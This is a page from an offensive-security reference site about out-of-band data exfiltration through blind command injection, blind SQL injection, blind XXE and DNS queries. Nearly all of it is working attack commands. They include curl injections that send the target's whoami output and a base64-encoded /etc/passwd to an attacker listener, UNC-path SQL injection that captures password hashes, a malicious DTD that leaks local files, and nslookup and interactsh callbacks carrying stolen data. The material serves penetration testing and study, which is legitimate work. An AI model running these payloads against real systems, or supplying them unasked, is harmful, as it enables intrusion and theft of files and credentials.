# Out-of-Band Data Exfiltration

> Techniques for exfiltrating data covertly via HTTP/HTTPS using out-of-band channels, bypassing detection through encoded payloads, DNS queries, and indirect communication paths.

- **URL:** https://hackindex.io/services/web/data-exfiltration/out-of-band-data-exfiltration
- **Path:** HTTP/HTTPS > Data Exfiltration
- **Up:** [Data Exfiltration](https://hackindex.io/services/web/data-exfiltration.md)
- **Published:** 2026-03-28
- **Updated:** 2026-04-24

Out-of-band exfiltration retrieves data from vulnerabilities that produce no visible output in the HTTP response. [Blind SQLi](https://hackindex.io/services/web/exploitation/sql-injection/blind-sqli), blind command injection, blind [XXE](https://hackindex.io/services/web/exploitation/xxe-exploitation), and blind [SSRF](https://hackindex.io/services/web/exploitation/ssrf-exploitation) all require an external channel to receive exfiltrated content. The server makes a connection to an attacker-controlled listener carrying the data in a URL path, DNS query, or HTTP body.

Common OOB channels:

- HTTP callbacks: data encoded in URL path or query parameters
- DNS queries: data embedded as subdomains of an attacker-controlled domain
- SMB/UNC paths: Windows targets connecting to an attacker share (captures data and Net-NTLMv2 hashes)
- FTP: rarely used but works when HTTP and DNS are blocked

## HTTP Callback Listener

Set up a simple HTTP listener to receive callbacks. All techniques below send data as URL path segments or query parameters readable in the request log:

```bash
python3 -m http.server $LPORT 2>&1 | tee /tmp/oob_log.txt &
# Serving HTTP on 0.0.0.0 port 4444
```

## Blind Command Injection Exfiltration

Exfiltrate command output via HTTP when the injection does not return output in the response. Encode the output in the URL to handle special characters:

```bash
curl -sk "http://$TARGET_IP:$PORT/cmd.php?cmd=curl+http://$LHOST:$LPORT/\$(whoami)"
```

```bash
curl -sk "http://$TARGET_IP:$PORT/cmd.php?cmd=curl+http://$LHOST:$LPORT/\$(cat+/etc/passwd+|+base64+-w0)"
```

The base64 encoding handles newlines and special characters in file content that would break the URL. Decode the received path segment on Kali:

```bash
grep 'GET /' /tmp/oob_log.txt | tail -1 | grep -oP '(?<=GET /)[^ ]+' | base64 -d
# root:x:0:0:root:/root:/bin/bash
# daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
```

## Blind SQLi Out-of-Band Exfiltration

MySQL can make outbound HTTP requests using the load_file function with a UNC path on Windows, or by triggering DNS queries. On Linux, use INTO OUTFILE to write data to a location readable via LFI if that path is available, or use the HTTP method:

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND LOAD_FILE(CONCAT('\\\\\\\\$LHOST\\\\',database(),'\\\\test'))--"
```

```bash
nc -lvnp 445 &
curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND LOAD_FILE(CONCAT('\\\\\\\\$LHOST\\\\share\\\\',user()))--"
```

For MySQL on Linux where UNC paths do not work, use a stacked query to write extracted data to a temp file that can be read back through the injection or LFI:

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=1;SELECT user() INTO OUTFILE '/var/www/html/oob.txt'--"
curl -sk "http://$TARGET_IP:$PORT/oob.txt"
# root@localhost
```

## Blind XXE Out-of-Band Exfiltration

Host a malicious DTD that reads a local file and sends it to your HTTP listener in the URL. The target parses your DTD and makes an outbound HTTP request carrying the file content:

```
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % wrap "<!ENTITY &#x25; send SYSTEM 'http://$LHOST:$LPORT/?d=%file;'>">
%wrap;
%send;
```

```bash
sed -i "s/\$LHOST/$LHOST/g; s/\$LPORT/$LPORT/g" oob.dtd
python3 -m http.server $LPORT &
curl -sk -X POST http://$TARGET_IP:$PORT/api/xml -H 'Content-Type: application/xml' -d "<?xml version=\"1.0\"?><!DOCTYPE r [<!ENTITY % ext SYSTEM \"http://$LHOST:$LPORT/oob.dtd\"> %ext;]><r>test</r>"
```

```bash
grep 'GET /\?d=' /tmp/oob_log.txt | grep -oP '(?<=d=)[^ ]+' | python3 -c "import sys,urllib.parse; print(urllib.parse.unquote(sys.stdin.read()))"
# root:x:0:0:root:/root:/bin/bash
```

## DNS Exfiltration for Strict Egress Environments

When outbound HTTP is blocked but DNS is allowed, encode data in DNS queries. The target makes a DNS lookup carrying the data as a subdomain of your controlled domain:

```bash
curl -sk "http://$TARGET_IP:$PORT/cmd.php?cmd=nslookup+\$(whoami).attacker-ns.$DOMAIN"
```

```bash
curl -sk "http://$TARGET_IP:$PORT/cmd.php?cmd=nslookup+\$(cat+/etc/hostname).attacker-ns.$DOMAIN"
```

Set up your domain's NS record to point to a server running a DNS logger. Interactsh provides a free out-of-band interaction server that captures both HTTP and DNS callbacks without needing your own domain:

```bash
interactsh-client -v
# [INF] Listing on: abc123.oast.fun
# [INF] Use this URL for OOB testing
```

```bash
curl -sk "http://$TARGET_IP:$PORT/cmd.php?cmd=curl+\$(whoami).abc123.oast.fun"
```

Interactsh shows the subdomain that connected, which contains the exfiltrated data. This works for both HTTP and DNS callbacks without needing infrastructure of your own.

## References

- [interactsh: ProjectDiscovery](https://github.com/projectdiscovery/interactsh) - Out-of-band interaction server for HTTP and DNS callback capture
- [PortSwigger: Blind XXE](https://portswigger.net/web-security/xxe/blind) - Out-of-band data exfiltration via DTD and HTTP callbacks